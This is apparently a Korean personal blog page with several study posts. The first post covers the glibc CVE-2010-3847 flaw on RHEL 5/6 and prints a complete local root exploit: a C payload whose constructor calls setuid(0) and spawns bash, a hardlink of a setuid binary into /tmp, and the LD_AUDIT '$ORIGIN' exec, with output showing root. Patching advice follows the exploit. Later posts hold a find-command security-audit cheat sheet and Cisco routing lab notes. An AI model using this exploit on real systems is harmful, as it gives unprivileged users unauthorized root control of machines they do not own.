취약점

전공 공부/시스템 2010. 10. 21. 21:32
RHEL & RHEL 6 일반계정으로 root 권한 획득

오늘 새벽에 날라온 메일의 취약성입니다.
문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 다이나믹 링크(ld.so)를 통해 실행하면서
발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을 이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.

실제 패키지는 glibc상의 소스코드상의 취약성입니다.

아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.

 

성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는 권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에 올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여 속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다.

>>> 이 취약성에 해당되는 버젼 : RedHat Enterprise Server 5 와 6 모든 버젼

 

http://seclists.org/fulldisclosure/2010/Oct/257

CVE-2010-3847

 

 

>>>취약성 점검 방법(root 권한 획득)

 

우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행

 

$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)


 

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root

 

이제 ROOT권한을 획득하였음. 

 

>>> 이에 대한 해결안 대략 2가지

1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것

2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것

 


 

>>> 주의사항

-  이 패치를 위해서는 RHN을 사용할 수 있어야 합니다.

 

 

>>> 관련 글

How can I apply security patches for a Red Hat Enterprise Linux system not connected on RHN or the internet?
https://access.redhat.com/kb/docs/DOC-17189

>>> On a Red Hat Enterprise Linux 5 machine, is it possible to limit yum so that it lists or installs only security updates?
https://access.redhat.com/kb/docs/DOC-10022

How do I know if a CVE name affects a Red Hat Enterprise Linux package?
https://access.redhat.com/kb/docs/DOC-11331

리눅스와 관련된 설명

2010. 10. 10. 06:27

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

CCNA Final Lab

전공 공부/네트워크 2010. 8. 22. 21:18
                 < 전체 네트워크 맵 >

뽜이널  맵은
OSPF (4개의 area와 Backbone을 Ring(PPP)구조로 Frame-relay S/W 구성),
STATIC (영역 끝 단에는 S/W 3개씩 분할하고 VLAN을 구성 후 NAT 설정),
RIPv2 (서브넷 후 슈퍼넷팅, Multipoint로  Frame-relay S/W 구성) 
각각 재분배 후  Backbone에서 Stub 와 Nssa 최적화.  

사용된 라우터 갯수 : 12 대
사용된 스위치 갯수 : 9 대


이 맵을 구축은 하는데 하루가 걸렸고 트러블 슛팅이 이틀이 걸렸다.
네트워크는 구축 하는 것도 중요하지만 스킬이 쌓일 수록 얼마나 트러블 슛팅이 빠른지가
진정한 내공을 소유한지 알 수 있는거 같다.

     < 사용된 라우터와 스위치 >




왼쪽 계신분이 나와 같이 들었던 수강생이고 가운데 계신분이 그간 이끌어 주셨던 강사님 ^^


리눅스 find

전공 공부/시스템 2010. 7. 14. 16:00

find 명령어 활용법 정리 

1. 특정문자를 포함하는 파일찾기와 그 문자가 속한 행 찾기
    -  형식 : find 찾을위치 type f -exec egrep -i "포함하는문자" /dev/null {} \;
    -  설명 : 파일에 cmd 라는 단어가 포함되어있는 파일내역을 출력할 수 있다.


2. 소유자가 없는 파일 또는 소유그룹이 없는 무적파일 찾기
    -  형식 : find 찾을위치 -nouser -o -nogroup -print


3. 쓰기 권한이 있는 파일 및 디렉토리 찾기
    -  형식 : find / -type f \( -perm -2 -o -20 \) -exec ls -lg {} \;
    
-  형식 : find / -type d \( -perm -2 -o -20 \) -exec ls -lg {} \;
    -  설명 : 일반 사용자들에게 쓰기 권한의 퍼미션이 있는 파일이나 디렉토리를 찾을 수 있다.


4. 서버내부에서 .bash_history 파일을 모두 찾아서 확인하기
    -  형식 : find / -name .bash_history -exec ls -l {} \;
    -  설명 : .bash_history파일은 root를 포함하여 각 사용자들의 홈디렉토리에 존재하는 파일로 각 사용자들이

                 사용했던 명령어가 저장되어 있는 파일임. 만약 파일용량이 0 이라면 해킹을 의심 해볼 수도 있다.


5. 서버내부의 .rhosts 파일을 확인하기
    -  형식 : find / -name .rhosts -exec ls -l {} \;
    -  설명 : .rhosts파일은 외부에서 아무런 제한없이 로그인할 수 있는 접근허용이 설정된 파일이다.

                 파일의 존재여부를 확인해야 한다.


6. 서버 내의 백도어 파일 찾기
    -  형식 : find /dev -type f -exec ls -l {} \;
    -  설명 : 서버내에 백도어가 생성되는 위치는 거의 대부분 /dev이다.

                /dev는 장치파일들이 존재하므로 일반적인 파일들이 존재하지 않다.

                만약 /dev에 일반파일이 검색된다면 거의 대부분 백도어 파일이라고 판단할 수 있다. 
               
(요즘은 딱히 그렇지도 않다.)


7. root소유의 SetUID, SetGID 파일찾기
    -  형식 : find / -user root -perm -4000 -print
    -  형식 : find / -type f \( -perm -4000 -o -perm -2000 \)
    -  설명 : root 소유의 SetUID 파일은 실행시에 root 권한으로 실행이 되므로 반드시 관리되어야 할 파일이다.


8. 서버 내에 존재하는 모든 링크파일 검사하기
    -  형식 : find / -type l -exec ls -l {} \;
    -  설명 : 링크파일은 root 이외에는 잘 사용하지 않는 파일이다. 따라서 이러한 링크파일이 목적한 용도 이외에

                 생성이 되었는가를 확인해야 한다.


9. 특정디렉토리내에 존재하는 모든 디렉토리 목록만 확인하기
    -  형식 : find "검색할 디렉토리경로" -type d -print


10. 지정된 파일보다 이후에 생성된 파일 찾기
    -  형식 : find / -newer /root/file1.txt -exec ls -l {} \;
    -  설명 : /root/file1.txt 라는 파일이 생성된 날짜 이후에 생성된 파일을 검색


11. 지정된 일자 이후에 변경된 모든 파일 찾기
    -  형식 : find / -used 2 -exec ls -l {} \; (2일 전에 변경된 적이 있는 파일을 검색한다.) 
    -  설명 : 지정된 일자 이후에 변경된 적이 있는 파일을 찾는 방법


12. 특정 퍼미션을 가지고 있는 파일 찾기
    -  형식 : find / -perm 4755 -exec ls -l {} \;


13. 특정용량 이상되는 파일찾기
    -  형식 : find /usr -size +10000k -exec ls -l {} \; (10메가 이상되는 파일찾기)


14. 지정한 소유자의 모든 파일을 찾기
    -  형식 : find / -user test01 -exec ls -l {} \; (test01 소유자의 모든 파일찾기)

 

 

 그림출처 : 해커스쿨 http://www.hackerschool.org

 

 

15. 지정한 소유자가  nobody 인 파일과 퍼미션이 644 인 파일을 동시에 찾기

     - 형식 : find / -user nobody -perm -644 -print | more

     - 설명 : 한페이지에 너무 많이 출력될 경우를 대비해 more를 사용하였다. 해킹용 쉘코드가 삽입된 파일들은

                 대부분이 nobody 에 644 이다. 그래서 위 형식으로 검색할경우 의심파일을 쉽게 찾을수 있다.

 

 

16. 해당 문자열이 포함된 파일을 검색하여 출력

    - 형식 : find ./ -type f -name *.cgi -exec grep "찾을문자열" {} \; -print

 

 

 17. 문자열 찾아서 바꾸기
      - 형식 : find / -name "*.txt" -exec perl -pi -e 's/찾을문자열/바꿀문자열/g' {} \;

 

 

 18. 확장자 bak 파일 찾아서 삭제하기
      - 형식 : find ./ -type f -name *.bak -exec rm -f {} \;

 

 

 19. 2개이상의 조건으로 검색
      - 형식 : find . -type f \( -mtime -1 -o -ctime -1 \) -print           
                  (mtime 또는 ctime 1일 미만인 파일)
      - 형식 : find . -type f \( -mtime -1 -a -ctime -1 \) -print    
                  (mtime 과 ctime 모두 1일 미만인 파일)

 

 

20. pds 폴더의 하위 list 출력
     - 형식 : find . -type d -name 'pds' | xargs ls -al

 

 

 

 

전체 글의 출처 : 헌스님 글임 http://cafe.naver.com/enss.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=2000 

헌스(linuxer_hun)님의 개인블로그 : http://blog.naver.com/linuxer_hun

시스템 보안 Hint

2010. 7. 3. 17:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

케이블

전공 공부/네트워크 2010. 6. 27. 17:28
스위치 + 라우터 =  크로스
내장라우터 + 스위치 = 다이렉트
마우라우터 + 스위치 = 다이렉트


크로스(동일기종)

다이렉트(이기종)

Visual Cert Exam 1.5

2010. 6. 27. 12:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

LAB_1

전공 공부/네트워크 2010. 6. 15. 15:25
각 구간을(이더넷 포함) 서브넷과 경로요약을 하고 재분배를 하시오.



Static : 170.16.0.0
Ripv2 : 200.100.0.0
EIGRP 100,300 : 100.50.0.0
Serial : 192.168.0.0



전체 명령어를 다 올릴려고 했지만 너무 방대해서 포기 ㅡ_-...;;

약 3일에 걸쳐서 완성했는데 아래쪽에 EIGRP 300 , EIGRP 100 사이에 있는 Static구간이 조금
헷갈렸던 점만 제외하면 무난한 LAB이었던거 같다.

구성은 거의 하루만에 끝났는데 경로를 죽이고 우회경로를 확인하고 Trouble Shooting 에 2일이 걸렸다. 끝나고 느낀점은 처음부터 침착하게 설정했더라면 고장수리가 더 쉬웠을 것 같다.

포렌식 기말

2010. 6. 13. 21:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

간단한 Static Route

전공 공부/네트워크 2010. 6. 11. 21:24


모든 구간을 잡아 준다음 Router2에서 Router0으로 Ping을 때리면 데이터가 가지 않는다.

이유는 Static은 정적으로 라우터간 정보 업데이트를 하지 않는다. 관리자가 직접 모든 라우터 구간의 경로를 설정해 주어야 한다. 위 화면은 겨우 라우터의 갯수가 3개 이지만 수십개 이상으로 커질 경우 관리자가 수동으로 업데이트 하기란 힘들다. 대규모의 네트워크에서는 잘 쓰이지 못 할 것이다.

장점으로는 Process,Overhead가 적고 Router최적화 되며,
               보안성,신뢰성이 높고, 대역폭 낭비가 없다.(100% 순수 데이터만 전송)

다시, Router2에서 Router0으로 연결을 위해 Router2에서 Router0에게 데이터를 보낼 경우 Router1을 통해 보내라고 설정을 하면 된다. 마찬가지로 Router0에서 Router2로 보낼 경우도 Router1을 통해 보내라고 하면 된다.

Router1 Serial 0 IP : 192.168.0.1 255.255.255.252                       
Router2 Serial 0 IP : 192.168.0.2 255.255.255.252
                    1 IP : 192.168.0.5 255.255.255.252
Router2 Serial 1 IP : 192.168.0.6 255.255.255.252

ip route Network_ID Mask [Address ]

Router0 설정
ip route 192.168.0.4 255.255.255.252 192.168.0.2 을 설정하면 된다.
Router2 설정
ip route 192.168.0.0 255.255.255.252 192.168.0.5 을 설정하면 된다.

위에 대규모에는 쓰이지 않는다고 하였지만 상황에 따라서 설정할 경우가 있다고 한다.